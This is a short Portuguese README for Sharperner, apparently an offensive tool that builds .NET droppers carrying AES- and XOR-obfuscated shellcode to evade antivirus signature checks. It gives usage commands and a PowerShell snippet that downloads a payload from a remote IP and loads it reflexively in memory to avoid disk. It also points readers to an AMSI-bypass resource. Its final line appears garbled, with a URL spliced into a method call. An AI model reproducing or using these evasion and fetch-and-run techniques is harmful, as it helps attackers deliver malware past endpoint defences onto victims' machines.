
Gerador simples de executável com shellcode criptografado.
Sharperner é uma ferramenta escrita em CSharp que gera um dropper .NET com shellcode ofuscado por AES e XOR. O executável gerado pode possivelmente burlar a verificação de assinatura, mas não posso garantir que consiga burlar a varredura heurística.
/file B64,hex,raw shellcode
/type cs,cpp
/out Local do arquivo de saída (Opcional)
Exemplo:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe
Para evitar tocar no disco, o executável .NET gerado pode ser carregado reflexivamente com PowerShell. AMSI é o inimigo agora, amsi.fail ftw!
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()